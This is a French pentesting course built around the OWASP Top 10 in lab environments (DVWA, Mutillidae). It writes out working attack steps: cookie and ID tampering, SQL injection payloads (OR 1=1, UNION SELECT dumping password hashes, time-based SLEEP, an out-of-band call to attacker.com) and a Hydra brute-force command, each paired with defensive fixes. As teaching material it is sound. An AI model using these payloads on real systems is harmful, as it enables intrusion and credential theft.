Sécurité Web & Pentesting - Approche par Faille OWASP.pdf

Sécurité Web & Pentesting - Approche
par Faille OWASP
Créé par Jaouad Assabbour

🛡 Introduction à la Cybersécurité
À l’ère du numérique, la sécurité des systèmes d’information est devenue un enjeu majeur pour les entreprises,
les gouvernements et les particuliers. Chaque jour, des milliers de cyberattaques sont perpétrées à travers le
monde, ciblant des données personnelles, des informations confidentielles ou encore des services critiques.
Dans ce contexte, la cybersécurité apparaît comme un pilier fondamental de la confiance numérique. Elle
englobe l'ensemble des moyens techniques, humains et organisationnels permettant de protéger les systèmes
informatiques contre les intrusions, les abus et les dégradations.

🔐 Définition de la Cybersécurité
La cybersécurité désigne l’ensemble des pratiques, technologies et processus visant à
protéger les réseaux, les systèmes, les appareils et les données contre les cybermenaces.
Elle se décline sur plusieurs volets :
● Prévention (protéger les accès, sensibiliser les utilisateurs)
● Détection (identifier les attaques)
● Réaction (répondre efficacement à un incident)
● Récupération (restaurer les systèmes et limiter les impacts)

🧩 Les grands blocs de la cybersécurité
Pour bien comprendre ce domaine, on peut le découper en plusieurs sous-catégories, selon les types de menaces et les surfaces d'attaque à protéger :
1. Sécurité Web
● Protection des applications web (sites internet, API, formulaires)
● Prévention des attaques telles que : injection SQL, XSS, CSRF, etc.
2. Sécurité Réseau
● Protection des infrastructures réseau (routeurs, pare-feu, Wi-Fi)
● Lutte contre les attaques de type : MITM, DDoS, sniffing…
3. Sécurité des Systèmes
● Sécurisation des postes clients, serveurs et systèmes d’exploitation
● Gestion des privilèges, des patchs, des antivirus
4. Sécurité des données
● Chiffrement, anonymisation, sauvegardes
● Gestion des droits d'accès et conformité RGPD
5. Pentesting (tests d’intrusion)
● Méthode d’évaluation active de la sécurité d’un système par simulation d’attaques réelles
● Identification des failles et recommandations

🎯 Orientation vers la Sécurité Web & Pentesting – Approche OWASP
L’un des volets les plus importants aujourd’hui est la sécurité des applications web, car ce sont souvent
les portes d’entrée privilégiées pour les attaquants.
👉 Pour cela, une approche pédagogique puissante est celle de l’OWASP Top 10, un classement des 10
failles de sécurité web les plus critiques. OWASP (Open Web Application Security Project) est une
communauté internationale reconnue pour ses bonnes pratiques.

💡 Objectif pédagogique :
Comprendre chaque type de faille (ex. injection SQL, XSS…)
Reproduire les attaques dans un environnement sécurisé (DVWA, Mutillidae…)
Apprendre à les prévenir et à les corriger

🧰 Environnement de travail
󰞵 Machines virtuelles : Kali Linux, Metasploitable, DVWA
🌍 Navigateurs avec plugins : HackBar, Tamper Data
🔧 Outils essentiels :
● Burp Suite 🕷 (proxy, scanner)
● Nmap 🔎 (scan réseau)
● SQLmap 💉 (injections SQL automatisées)
● OWASP ZAP ⚡ (analyse sécurité web)

🐉 Installation de Kali Linux étape par étape
🎯 Objectif : Mettre en place un environnement de tests d’intrusion avec Kali Linux, la distribution la plus utilisée en
cybersécurité.
🧰 Pré-requis
💻 Un PC avec au moins :
● 4 Go de RAM (8 Go recommandés)
● 30 Go d’espace disque libre
● Processeur 64 bits
🔧 Un hyperviseur :
● VirtualBox ou VMware Workstation
📦 Fichier ISO Kali :
À télécharger depuis le site officiel :
👉 https://www.kali.org/get-kali/

🪜 Étapes d’installation
1⃣ Créer une machine virtuelle
● Type : Linux
● Version : Debian (64-bit)
● RAM : 4 Go ou plus
● Disque : 30 Go minimum (format VDI, taille dynamique)
2⃣ Monter l’ISO de Kali
● Dans les paramètres de la VM > Stockage > Ajouter
l’ISO dans le lecteur CD/DVD
3⃣ Démarrer la VM
● Choisir : Graphical Install
● Suivre les étapes (langue, clavier, réseau…)
4⃣ Créer un utilisateur et un mot de passe
● Kali ne crée plus d’utilisateur root par défaut
● Utilisez un utilisateur standard et un mot de passe
fort
5⃣ Partitionner le disque
● Choisir : Utiliser tout le disque
● Format : ext4
6⃣ Installation du système
● Laisser l’installation se dérouler
● Installer GRUB si demandé

✅ Après l’installation
🔐 Connectez-vous avec votre nouvel utilisateur
󰳕 Ouvrez un terminal et tapez sudo apt update && sudo apt upgrade
🐾 Vous êtes prêt à explorer Kali et à faire du Pentest !

💣 Installation de Metasploitable2 (Machine Vulnérable)
🎯 Objectif : Disposer d’une machine volontairement
vulnérable pour s'entraîner au pentesting, à ne jamais
connecter à Internet !
🧰 Pré-requis
💻 Un hyperviseur installé (VirtualBox ou VMware)
📦 Télécharger l'image Metasploitable2 :
👉 https://sourceforge.net/projects/metasploitable/
🪜 Étapes d’installation
1⃣ Importer la VM dans VirtualBox
● Menu Fichier > Importer une appliance
● Sélectionner le fichier .ova téléchargé
● Lancer l’importation
2⃣ Configurer le réseau
● Dans les paramètres réseau de Metasploitable2 :
🌐 Choisir "Réseau interne" ou "Accès par pont" (pour
interaction avec Kali)
3⃣ Démarrer la VM
● Identifiants par défaut :
○ 🧑 Login : msfadmin
○ 🔐 Password : msfadmin

🔒 C’est quoi exactement OWASP ?
C’est une organisation à but non lucratif qui a pour mission d’aider les
développeurs, les entreprises et les professionnels de la cybersécurité à créer des
applications plus sûres. Elle est gratuite, ouverte à tous et très respectée dans
le domaine de la cybersécurité.

📋 OWASP est surtout connue pour...
👉 Le Top 10 OWASP
C’est une liste des 10 failles de sécurité les plus critiques dans les
applications web.
Elle est mise à jour régulièrement et constitue une référence mondiale pour la
sécurité web.

👉 Voici un aperçu du OWASP Top 10 (version 2021) :
Rang Nom de la faille Description rapide
A01 Broken Access Control Mauvaise gestion des autorisations
A02 Cryptographic Failures Faiblesses dans le chiffrement
A03 Injection Par ex. SQL, NoSQL, LDAP injection
A04 Insecure Design Design d’application peu sécurisé
A05 Security Misconfiguration Mauvaise configuration de la sécurité
A06 Vulnerable and Outdated Components Logiciels obsolètes ou vulnérables
A07 Identification and Authentication Failures Problèmes d’authentification
A08 Software and Data Integrity Failures Manipulation de données ou de code
A09 Security Logging and Monitoring Failures Logs ou surveillance absents/incomplets
A10 Server-Side Request Forgery (SSRF) L’application fait des requêtes non sûres

🔐 Broken Access Control
🧠 C'est quoi ?
Le Broken Access Control (contrôle d'accès défaillant) survient lorsque des utilisateurs
peuvent accéder à des ressources ou effectuer des actions au-delà de leurs
permissions prévues. Cela peut permettre à un attaquant d’accéder à des données
sensibles ou de modifier des contenus qui ne devraient pas lui être accessibles.

🎯 Objectif du hacker
🔍 Explorer les données d’autres utilisateurs.
🛠 Modifier ou supprimer des ressources.
🔓 Obtenir des privilèges administratifs.
📥 Télécharger des documents confidentiels.

📌 Mise en situation réelle
Un site web d’entreprise permet aux employés d’accéder à leur profil en visitant
une URL du type :
https://intranet.company.com/profile.php?id=203
Si l’utilisateur modifie l’ID dans l’URL (?id=204), il peut accéder au profil d’un
autre employé. Cela signifie que l’accès n’est pas correctement contrôlé côté
serveur.

🔍 Exploitation dans DVWA (Damn Vulnerable Web Application)
📦 Préparation :
1. Lance DVWA.
2. Connecte-toi avec l’utilisateur par défaut :
○ Username: admin
○ Password: password
3. Va dans DVWA Security et choisis le niveau Low, Medium ou High.

🧪 1.1 Niveau LOW : 🔓 Aucun contrôle d’accès
🎯 Objectif : Changer le mot de passe d’un autre utilisateur sans être connecté comme lui.
🔧 Étapes :
1. Va dans l’onglet "Vulnerabilities" → "Broken Access Control".
2. Dans le champ Username to change, mets :
admin
3. Dans le champ New password, mets :
hacked123
4. Clique sur Change.
✅ Résultat : Le mot de passe de l’admin est modifié !
❌ Aucun contrôle d'accès n'a été vérifié sur le serveur.
🔍 Explication :
L’application permet à n’importe quel utilisateur de modifier le mot de passe de n’importe qui, simplement en changeant le nom
dans le champ de formulaire.

🧪 1.2 Niveau LOW : 🔓 Aucun contrôle d’accès
🎯 Objectif : Accéder à une page ou fonctionnalité réservée (ex : supprimer un
utilisateur) sans authentification ou autorisation.
🧪 Étapes à suivre
1. Connecte-toi en tant qu’utilisateur standard (ex : user / password).
2. Va dans le menu "Broken Access Control".
3. Clique sur "Delete" pour supprimer un utilisateur.
4. Observe l’URL :
http://<ip_vm>/dvwa/vulnerabilities/exec/delete_user.php?id=1
Modifie l'id dans l’URL pour supprimer un autre utilisateur (ex : admin).

🛠 Explication technique (fichier PHP)
Dans le niveau Low :
<?php
// Aucune vérification d'autorisation !
$id = $_GET['id'];
mysqli_query($GLOBALS["___mysqli_ston"],
"DELETE FROM users WHERE user_id = '$id'");
?>
❗ Résultat
● N’importe qui peut supprimer n’importe quel
utilisateur, en changeant simplement l’id dans
l’URL.
● Le système ne vérifie pas si l’utilisateur a les droits
de suppression.

🔸 NIVEAU 2 : MEDIUM
● Tenter d'accéder à une ressource en contournant
une vérification faible, par exemple une condition
PHP peu sécurisée.
1. Connecte-toi avec un utilisateur non admin.
Ouvre la page Broken Access Control.
Essaie d’accéder à :
http://<ip_vm>/dvwa/vulnerabilities/bac/?page=a
dmin
Observe la réponse du serveur. Si un simple if en PHP est
utilisé, on peut contourner la vérification avec une astuce (ex:
injection ou manipulation d’un cookie ou d’une variable GET).

<?php
if ($_GET['page'] == 'admin') {
include('admin_page.php'); // Aucune vérification d’identité réelle
}
?>
❗ Résultat
● L’utilisateur peut accéder à une page réservée si le paramètre GET est bien manipulé.
● L’absence de contrôle côté serveur sur les rôles ou les sessions rend la faille exploitable.

Broken Access Control – avec Mutillidae
Démarrer l’environnement
🎯 Objectif : Ouvrir Mutillidae dans le navigateur.
1. Lance ta VM Kali Linux et Metasploitable2 (ou l’image où Mutillidae est installé, comme OWASP
BWA).
2. Vérifie l’adresse IP de Mutillidae (ex : 192.168.56.101) avec ifconfig sur Metasploitable.
3. Dans Kali, ouvre Firefox et tape : http://192.168.56.101/mutillidae

Créer un nouveau compte
🎯 Objectif : Avoir un compte pour réaliser les tests.
1. Clique sur Register ou va sur :
http://192.168.56.101/mutillidae/index.php?page=register.php
Remplis les champs comme suit :
● Username : attacker
● Password : test
● Signature : ce que tu veux
Clique sur "Create Account".

🔹 Étape 3 – Se connecter avec ce compte
🎯 Objectif : Accéder à la session avec un utilisateur lambda.
1. Va sur la page Login :
http://192.168.56.101/mutillidae/index.php?page=login.php
Connecte-toi avec :
● Username : attacker
● Password : test
Vérifie que tu es connecté, avec le message :
Logged In User: attacker

Analyser les cookies
🎯 Objectif : Identifier les cookies utilisés pour l'identité.
1. Installe EditThisCookie sur Chrome ou utilise Burp Suite.
2. Consulte les cookies : tu verras quelque chose comme :
○ username=attacker
○ uid=24
3. Ce uid (User ID) est la clé à manipuler pour usurper un autre compte.

Pour commencer, nous devrons d'abord
ouvrir un compte sur la page d'accueil
de Mutillidae 2. La page Login peut être
trouvée en haut à gauche de la page
d'accueil (1).

Une fois à l'écran de connexion, appuyez sur «
Enregistrer un compte » (2). De là, entrez les
informations suivantes:
Nom d'utilisateur: tester
Mot de passe: test
Confirmer le mot de passe: test
Signature : Hacker
Une fois ces informations saisies, cliquez sur le bouton «
Créer un compte » (4). Nous allons maintenant créer un
nouvel utilisateur sur le site. Cliquez à nouveau sur le
lien « Login/Register » et attendez.

Démarrez Burp Suite et connectez le mode
d'interception. Il est important de noter que, lors
de l'accès à l'application web locale, vous
devrez ajouter un . après l'hôte local afin que
Burp Suite puisse saisir les demandes.

Voici à quoi devrait ressembler l'URL de la page
de connexion de l'utilisateur:
http://localhost./mutillidae/index.php? p.
Essentiellement, c'est la même chose, juste
avec un ajout . juste après localhost (1). Cela
forcera l'application web à transmettre des
données par l'intermédiaire de notre mandataire
de la suite Burp, ce qui nous permettra de saisir
les demandes.

Retournez à la page Login/Register et saisissez
les détails du compte que nous venons de créer
(2,3,4).
Les demandes saisies doivent être à votre
disposition à Burp Suite. Il y aura deux d'entre
eux, un clic droit sur les demandes et une
sélection « Envoie à un répéteur » (1).

Ensuite, transmettez les demandes (2). Les
captures d'écran suivantes sont à quoi devraient
ressembler les demandes saisies:
Sur cette page, sélectionnez « Envoie à
nouveau au répéteur » (3). Ensuite, cliquez sur
l'onglet Répéteur (4).

Modifier le cookie
Tu verras une requête HTTP comme :
GET /mutillidae/index.php HTTP/1.1
Host: 192.168.1.16
Cookie: username=attacker; uid=19; PHPSESSID=...
🖊 Double-clique sur la ligne Cookie:
Modifie-la comme ceci :
Cookie: username=admin; uid=1; PHPSESSID=...

Ici, nous pouvons voir les deux demandes que
nous avons capturées. Sélectionnez la première
demande et cliquez sur le bouton « Envoyer »
en haut à gauche (1). Remarquez la valeur
«uid» qui est retournée dans la réponse (2).
C'est la valeur que nous allons manipuler.

✅ Résumé de Broken Access Control
🎯 Objectif : vérifier s’il est possible d’accéder à un autre compte en modifiant une valeur dans le
cookie (ici l’identifiant de l’utilisateur).
🔓 Si tu peux : voir ou faire des actions qui ne devraient être possibles que pour un autre utilisateur
(comme "admin"),
🧪 Alors : la vulnérabilité est bien présente

🔺 NIVEAU 3 : HIGH
● Contourner une vérification plus stricte,
souvent basée sur la session
($_SESSION['user_role']), voire des
ACL (Access Control Lists).
1. Connecte-toi avec un utilisateur lambda.
2. Ouvre la page BAC. Essaie d’accéder à une
fonctionnalité admin :
http://<ip_vm>/dvwa/vulnerabilities/bac/?admin=true
Vérifie que tu es bloqué.
Ouvre les cookies du navigateur.
Modifie la valeur de role=admin (si le rôle est
stocké côté client, possible si mal codé).
Recharge la page.

<?php
session_start();
if ($_SESSION['user_role'] != 'admin') {
echo "Accès refusé";
exit;
}
➡ Si le développeur utilise des cookies ou des données client
modifiables, l’utilisateur peut les manipuler pour se faire passer
pour un admin :
if ($_COOKIE['role'] == 'admin') { ... }
❗ Résultat
● Si le contrôle est bien fait via session, l’accès est bloqué.
● Sinon, modification des cookies ou manipulation d’ID
permet l’accès admin → faille exploitable.

🧾 Résumé pédagogique des niveaux
Niveau Contrôle d'accès Moyen de contournement Ce qu'il faut modifier côté code
Low Aucun URL directe Ajouter vérification de
session/role
Medium Faible (GET) Paramètre manipulé Ne pas faire confiance à $_GET
High Session/Cookie Altération
session/cookie
Ne jamais stocker de rôle dans
cookie

🧠 Bonnes pratiques de défense
Toujours vérifier les permissions côté serveur.
N’utiliser que $_SESSION pour stocker les rôles et identifiants.
Ne jamais faire confiance à l’utilisateur (ni cookie, ni GET/POST sans vérif).
Utiliser des middleware de vérification des rôles ou une couche d’autorisations dédiée.

📚 Comprendre l’échec cryptographique
❓ Définition
Un échec cryptographique survient lorsqu’une application :
● N’utilise pas de chiffrement pour les données sensibles
● Utilise des algorithmes faibles (ex : MD5, SHA1)
● Ou expose les clés/infos de hachage

⚠ Problèmes typiques
Mauvaise pratique Risque
Stocker des mots de passe en clair Tout le monde peut les lire
Utiliser MD5/SHA1 Hachages facilement cassés par dictionnaire
Ne pas utiliser de sel (salt) Des hashs identiques pour des mots identiques
Clé dans le code source Facilement récupérable

🛡 Bonnes pratiques
Utiliser bcrypt, Argon2 ou PBKDF2
Ajouter un sel aléatoire par utilisateur
Ne jamais stocker les mots de passe en clair
Utiliser HTTPS pour toutes les données sensibles

Exploitation de Cryptographic Failures avec DVWA
Étape 1 : Créer un utilisateur
1. Accède à DVWA via ton navigateur.
2. Niveau de sécurité : Low
3. Va dans DVWA Security > Brute Force
4. Crée un compte utilisateur avec un mot de
passe simple.
Étape 2 : Aller dans la base de données
1. Ouvre phpMyAdmin
2. Accède à la table users
3. Regarde la colonne password
🔍 Que vois-tu ?
● Le mot de passe est stocké en clair →
échec cryptographique ! ❌

Monter le niveau à Medium
1. Reviens à DVWA Security
2. Change le niveau à Medium
3. Refais les étapes (nouvel utilisateur)
🔍 Tu verras probablement un hachage MD5 ou SHA1 dans la table users.
➡ Toujours vulnérable, car MD5 est facilement cassable !

Monter à High
1. Niveau : High
2. Recrée un compte et vérifie
🔍 Le mot de passe sera haché avec SHA512 ou mieux, parfois avec un sel.
📈 Plus sécurisé, mais pas parfait sans bcrypt.

Comment corriger
Utiliser PHP password_hash() et password_verify() :
$hash = password_hash("monpassword", PASSWORD_BCRYPT);
Ne jamais afficher les hashs en clair.
Toujours utiliser HTTPS.
Rotation régulière des clés si utilisées.

L'injection SQL (SQL Injection) est une faille de sécurité qui permet à un attaquant d’insérer ou
manipuler des requêtes SQL dans un formulaire ou une URL, dans le but de contourner
l’authentification, accéder à des données sensibles, ou modifier/supprimer des données d’une base
de données.

🎯 Objectif de l’attaquant
L’objectif principal d’un hacker lors d’une injection SQL est de :
● 📂 Lire des données confidentielles (mots de passe, emails, infos personnelles…)
● 🚪 Contourner l’authentification pour se connecter sans mot de passe
● 🧨 Modifier ou supprimer des données dans la base
● 🔍 Lister les tables et découvrir la structure de la base de données
● 💻 Dans certains cas : prendre le contrôle du serveur

🧪 Exemple simple
Formulaire vulnérable :
SELECT * FROM users WHERE username =
'admin' AND password = '1234';
Attaque :
L’attaquant entre :
● username : admin
● password : ' OR '1'='1
➡ Requête exécutée :
SELECT * FROM users WHERE username =
'admin' AND password = '' OR '1'='1';
🎯 Résultat : l’expression '1'='1' est toujours vraie, donc
connexion acceptée sans connaître le vrai mot de passe !

Autre forme d’injection SQL
1. Aller dans SQL Injection
● Menu gauche > clique sur SQL Injection
● Tu arrives sur un champ où il est écrit :
User ID: avec un bouton Submit.
2. Test classique avec un ID valide
● Tape 1 puis clique sur Submit
● Tu obtiens quelque chose comme :
First name: admin
Surname: admin
✅ Cela signifie que l’application fait une requête SQL du genre :
SELECT first_name, last_name FROM users WHERE id = '1';

Sécurité Web & Pentesting - Approche par Faille OWASP.pdf

3. Injection SQL classique
● Remplace 1 par :
1' OR '1'='1
● Résultat : la base de données renvoie tous les utilisateurs.
Pourquoi ça marche ?
👉 La requête devient :
SELECT first_name, last_name FROM users WHERE id = '1' OR '1'='1';
Ce qui est toujours vrai, donc elle affiche tout.

4. Détection de la structure de la requête
Tape :
1' ORDER BY 2 -- -
Si tu n’as pas d’erreur, c’est
que la requête accepte 2 colonnes max.
Si tu mets ORDER BY 3 et que
ça plante, c’est qu’il n’y a que 2 colonnes.

🎯 Objectif
L’objectif ici est de comprendre combien de colonnes la requête SQL d’origine retourne. Cette information est
importante pour pouvoir ensuite manipuler les résultats (par exemple pour faire un UNION SELECT efficace).
Commande injectée Résultat Interprétation
1' ORDER BY 2 -- - Pas d’erreur Il y a au moins 2 colonnes
1' ORDER BY 3 -- - Erreur l y a exactement 3 colonnes

🔍 5. Extraction des données
Une fois qu’on connaît le nombre de colonnes de la requête (grâce au ORDER BY de l’étape
précédente), on peut passer à l’extraction d’informations sensibles, comme :
● La version du moteur de base de données
● Le nom de la base de données active
● Le nom de l’utilisateur SQL connecté
● Et plus encore...

🛠 Requête injectée : Extraire les données générales de la base
✅ Étape préalable :
Identifier le bon nombre de colonnes retournées par la requête d’origine.
👉 Exemple : ici, nous avons déterminé qu’il y a 2 colonnes.
1' UNION SELECT null, version(), null -- -
🔍 Explication :
● 1' : clôture la valeur de l’entrée utilisateur dans la requête SQL.
● UNION SELECT : permet de combiner les résultats d’une autre requête.
● null, version(), null : on aligne les colonnes (ici 3), avec version() pour récupérer la
version du SGBD.
● -- - : commentaire SQL pour ignorer le reste de la requête d’origine.
🧠 Objectif : Accéder à des informations système comme la version du moteur de base de données, sans
authentification.

🛠 Requête injectée : Extraire les données générales de la base
✅ Requête de base vulnérable : SELECT id, name, description FROM produits WHERE id = '1';
🔓 Requête modifiée via injection SQL : 1' UNION SELECT null, version(), null -- -
🧪 Requête complète exécutée par le SGBD :
SELECT id, name, description FROM produits WHERE id = '1' UNION SELECT null, version(), null -- -';

Pourquoi le nombre de colonnes est crucial ?
La requête UNION SELECT doit avoir le même nombre de colonnes que celle de la base.
Nombre de colonnes dans la
requête d'origine
Requête injectée correcte
1 1' UNION SELECT version() -- -
2 1' UNION SELECT null, version() -- -
3 1' UNION SELECT null, version(), null -- -
5 1' UNION SELECT null, null, version(), null, null -- -
7 1' UNION SELECT null, null, null, version(), null, null, null -- -

✅ Résultat
Si ça fonctionne, la page du site devrait
afficher
la version de la base de
données dans l’un des champs visibles
(souvent dans une colonne de
tableau HTML, une cellule de résultat,
etc.).

🔍 Résumé de l'injection SQL
La requête 1' seule retourne l'utilisateur réel : admin.
Avec 1' UNION SELECT null, version() -- -, on remplace la sortie SQL.
null remplit la 1re colonne (First name → vide).
version() remplit la 2e colonne (Surname → version MySQL).
Résultat : la page affiche 5.0.51a-3ubuntu5 dans "Surname".
✅ L’injection est réussie, on affiche une donnée système via SQL

🧠 injection SQL – Fonctions utiles
version() affiche la version du serveur MySQL.
Elle s’utilise via UNION SELECT pour injecter des données visibles.
database() donne le nom de la base actuelle.
user() affiche l’utilisateur connecté à MySQL.
Ces fonctions permettent d’extraire des infos système sans erreurs.
✅ Résultat : la donnée s’affiche dans la page à la place du prénom ou nom.

🧬 Étape 6 : Lister les utilisateurs DVWA
1' UNION SELECT user, password FROM users -- -
🟢 Résultat attendu :
Tu vois les noms d’utilisateurs et leurs hashs de mots de
passe
🧠 Explication :
● Tu as injecté une requête pour lire directement la
table users de DVWA
● Les mots de passe sont stockés en hash (MD5) : ils
ne sont pas en clair, mais on peut les cracker avec
des outils (comme john ou hashcat)

🛡 Comment se protéger (version Low)
Ce niveau n’applique aucune validation sur les entrées utilisateur.
Il est vulnérable car il n’échappe pas les caractères spéciaux (', ", --, etc.).
Il n’utilise ni requêtes préparées, ni protection contre l’injection.
✅ Pour se protéger : toujours utiliser les requêtes préparées (prepared statements).
Autre bonne pratique : utiliser un ORM ou une couche d’abstraction SQL.
Cela permet de bloquer les injections, peu importe l’entrée de l’utilisateur.
✅ Requêtes préparées (prepared statements) en SQL :
$stmt = $pdo->prepare("SELECT * FROM users WHERE user_id = ?");
$stmt->execute([$id]);

🛡 SQL Injection (niveau Medium)
🎯 Objectif : Comprendre comment exploiter une injection SQL même quand des filtres
basiques sont activés, comme ici dans le niveau Medium de DVWA. Le but est d’adapter
l’attaque à la protection mise en place.
🔧 Configuration
1. Connecte-toi à DVWA : http://localhost/dvwa
2. Va dans DVWA Security (menu gauche)
3. Sélectionne Medium, puis clique sur Submit
4. Va ensuite dans SQL Injection dans le menu gauche

🖼 Étape 1 : Interface utilisateur
Tu vois la même interface que pour le niveau Low :
● Champ User ID
● Bouton Submit
● Résultat affiché en dessous si l'ID existe

🧪 Étape 2 : Test simple avec 1
Tape simplement : 1
🟢 Tu dois voir :
First name: admin
Surname: admin

🔎 Étape 3 : Tester une injection simple
Essaye : 1' OR '1'='1
❌ Résultat attendu : Message d’erreur ou rien ne s’affiche.
🧠 Pourquoi ?
● Dans le niveau Medium, DVWA applique une fonction de nettoyage (sanitization) basique qui
filtre les caractères spéciaux comme ', ", --, etc.
● Ces filtres sont en PHP avec des fonctions comme mysql_real_escape_string()
● Du coup, l’injection classique est neutralisée

🔁 Étape 4 : Contourner les filtres
⚙ Astuce 1 : Utiliser un encodage alternatif
Essaye : 1') OR 1=1 –
❌ Normalement toujours bloqué…

🔁 Étape 4 : Contourner les filtres
⚙ Astuce 2 : Injection via l’URL
Comme l’entrée est nettoyée en PHP dans le formulaire, on peut essayer de passer directement les
paramètres dans l’URL !
Étapes :
1. Clique sur "Submit" avec n’importe quelle valeur
2. Regarde l’URL dans la barre d’adresse, exemple :
http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit
Modifie manuellement l’URL pour tenter une injection :
http://localhost/dvwa/vulnerabilities/sqli/?id=1' OR '1'='1&Submit=Submit
Résultat possible : tu obtiens la liste de plusieurs utilisateurs

⚠ Les commentaires pour bloquer la suite
DVWA peut planter si tu oublies de bloquer la fin de la requête avec un -- -.
Dans l’URL, essaye ceci :
http://localhost/dvwa/vulnerabilities/sqli/?id=1' UNION SELECT null, database(), null --
-&Submit=Submit
🟢 Tu dois voir : le nom de la base de données affiché dans le prénom ou nom

🔍 Étape 6 : Rechercher la structure
http://localhost/dvwa/vulnerabilities/sqli/?id=1' ORDER BY 1 -- -&Submit=Submit
👉 Cela te permet de savoir combien de colonnes sont retournées par la requête

🔓 Exfiltration des données
Injection via URL pour obtenir les utilisateurs :
http://localhost/dvwa/vulnerabilities/sqli/?id=1' UNION SELECT user, password, null FROM users --
-&Submit=Submit
✅ Cela t'affiche les utilisateurs et leurs hashs de mots de passe

🛡 Pourquoi ça bloque plus que dans le niveau Low ?
Le niveau Medium ajoute une fonction PHP de filtrage, mais elle ne filtre pas les injections faites depuis
l’URL directement. C’est pourquoi on contourne le formulaire.

🛡 SQL Injection (niveau High)
🎯 Objectif
À ce niveau, DVWA utilise une protection avancée contre les injections SQL :
● Filtrage renforcé
● Utilisation de requêtes préparées (prepared statements)
On va analyser pourquoi ça bloque et comment tester malgré tout.

🧱 Configuration
Va dans http://localhost/dvwa/
Clique sur DVWA Security
Sélectionne High et clique sur Submit
Clique ensuite sur SQL Injection dans le menu

🖼 Interface
La page est identique aux autres niveaux :
● Un champ User ID
● Un bouton Submit
● Un affichage du résultat

Test normal
1. Tape 1 dans le champ
2. Clique sur Submit
🟢 Tu vois :
Cela signifie que l’ID est reconnu.

❌ Test d’injection simple
Essaie maintenant : 1' OR '1'='1
🔴 Résultat : ça ne fonctionne pas du tout, tu as probablement un message comme :
User ID not found

🧠 Pourquoi ça ne fonctionne plus ?
Le code PHP utilisé dans ce niveau ressemble à ceci :
$stmt = $pdo->prepare("SELECT first_name, last_name FROM users WHERE user_id = ?");
$stmt->execute([$_GET['id']]);
Les requêtes préparées :
● Séparent le code SQL de la donnée
● Refusent d’interpréter des injections dans les variables
● Empêchent quasiment toute forme d’injection SQL

Même si tu passes ton injection dans l’URL :
http://localhost/dvwa/vulnerabilities/sqli/?id=1' OR '1'='1&Submit=Submit
=> elle sera automatiquement neutralisée par le moteur PDO.

⚙Tenter des variations d’injections (pour apprendre)
Même si ça ne marchera pas, voici ce que tu peux essayer :
● ' OR 1=1 -- -
● 1 OR 1=1
● 1' UNION SELECT user, password FROM users -- -
● %27%20OR%201%3D1%20--%20 (encodé en URL)
➡ Toutes seront bloquées.

🛡 Pourquoi c’est sécurisé ?
Requête préparée (PDO) :
$stmt = $pdo->prepare("SELECT * FROM users WHERE user_id = ?");
$stmt->execute([$id]);
Même si $id contient ' OR 1=1, PDO ne l’exécutera jamais comme du SQL
L’injection est interprétée comme une valeur, pas comme du code SQL
C’est la meilleure pratique de sécurité côté serveur

🔍 Que faire ici en tant que pentesteur ?
Si tu tombes sur ce genre de protection :
1. Cherche d'autres points d'entrée dans l'appli (URL, paramètres, formulaires)
2. Teste d'autres types d’injections :
○ SQLi Blind
○ Time-based
○ Out-of-band
3. Vérifie si des endpoints REST ou GraphQL existent
4. Regarde si la validation client-side peut être contournée

🔒 SQLi Blind (injection SQL aveugle)
C’est une injection SQL où l’application ne retourne pas directement les résultats de la requête, mais
réagit différemment selon que la requête soit vraie ou fausse.
Image mentale :
Tu poses une question à une personne aveugle, elle ne peut pas te lire la réponse, mais elle change
d’attitude selon ce qu’elle "voit".
Exemple typique :
?id=1' AND 1=1 -- ✅ page normale
?id=1' AND 1=2 -- ❌ page d'erreur ou différente
Tu peux en déduire que l’injection fonctionne.

⏱ Time-based SQLi (par temps de réponse)
C’est une forme de Blind SQLi où on utilise des délais (SLEEP) pour détecter si une requête est vraie
ou fausse, en mesurant le temps de réponse du serveur.
Image mentale :
Tu demandes à un serveur :
« Si 1=1, dors 5 secondes. Sinon, répond tout de suite. »
Exemple typique (MySQL) :
?id=1' AND IF(1=1, SLEEP(5), 0) --
Si tu remarques un délai de 5 secondes, tu sais que la condition est vraie.

📡 Out-of-Band SQLi (canal externe)
C’est une injection où les résultats ne passent pas par l’application web, mais par un canal externe
comme DNS ou HTTP. Elle est utilisée quand la réponse ou le délai ne donne aucune info.
Image mentale :
Tu laisses un micro dans une pièce et t’écoutes depuis l’extérieur — ce n’est pas direct.
Exemple typique :
'; SELECT load_file('attacker.comdata'); --
Le serveur tente d’accéder à un fichier distant contrôlé par l’attaquant, qui reçoit l’appel.

🧠 En résumé
Niveau Protection Attaque possible ?
Low Aucune Oui (directement)
Medium Filtrage basique Oui (via URL)
High Prepared statements Non (pas d’injection directe possible)

🛡 Brute Force (niveau Low)
🎯 Objectif
Exploiter la vulnérabilité de type Brute Force sur une page de connexion mal protégée pour deviner le mot de
passe d’un utilisateur.

🧱 Configuration
Lance DVWA dans ton navigateur :
http://localhost/dvwa/
Va dans le menu DVWA Security
● Choisis le niveau de sécurité : Low
● Clique sur Submit
Clique sur Brute Force dans le menu à gauche

🖼 Interface de la faille
Tu arrives sur une page avec :
● Un champ Username
● Un champ Password
● Un bouton Login
✅ Pas de limite de tentative
✅ Pas de protection anti-bot
✅ Pas de délai entre les tentatives

👣 Test d’un identifiant valide
Essaie de te connecter avec :
● Username : admin
● Password : password
🟢 Résultat attendu :
"Welcome to the password protected area admin"
✅ Cela te montre qu’un identifiant correct existe (admin) et que le mot de passe est "password"

🔍 Comprendre la faille
Dans ce niveau, la page :
● Ne bloque pas les essais
● Ne protège pas l’accès par IP
● Réagit différemment quand les identifiants sont bons ou mauvais
Tu peux donc automatiser les tentatives avec un script ou un outil comme Burp Suite, Hydra, ou wfuzz.

⚙ Attaque manuelle simple
On va tester une petite attaque à la main, juste pour comprendre.
1. Garde Username : admin
2. Essaye quelques mots de passe courants :
○ 123456
○ admin
○ qwerty
○ letmein
○ password ✅ Bingo !
🧠 Conclusion :
Sans protection, même en testant à la main on peut trouver le mot de passe par force brute.

🔐 Exploitation Brute Force avec Hydra – DVWA Niveau Low
🚀 : Lancer l’attaque avec Hydra (Niveau Low)
┌──(vagrant㉿kali)-[~]
└─$ hydra -L /usr/share/wordlists/metasploit/http_default_users.txt -P
/usr/share/wordlists/rockyou.txt 192.168.1.26 http-post-form
"/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"

💡 Explication ligne par ligne :
Élément Explication
hydra Outil d’attaque en force brute
-L Liste d’utilisateurs (^USER^ sera remplacé par chaque ligne
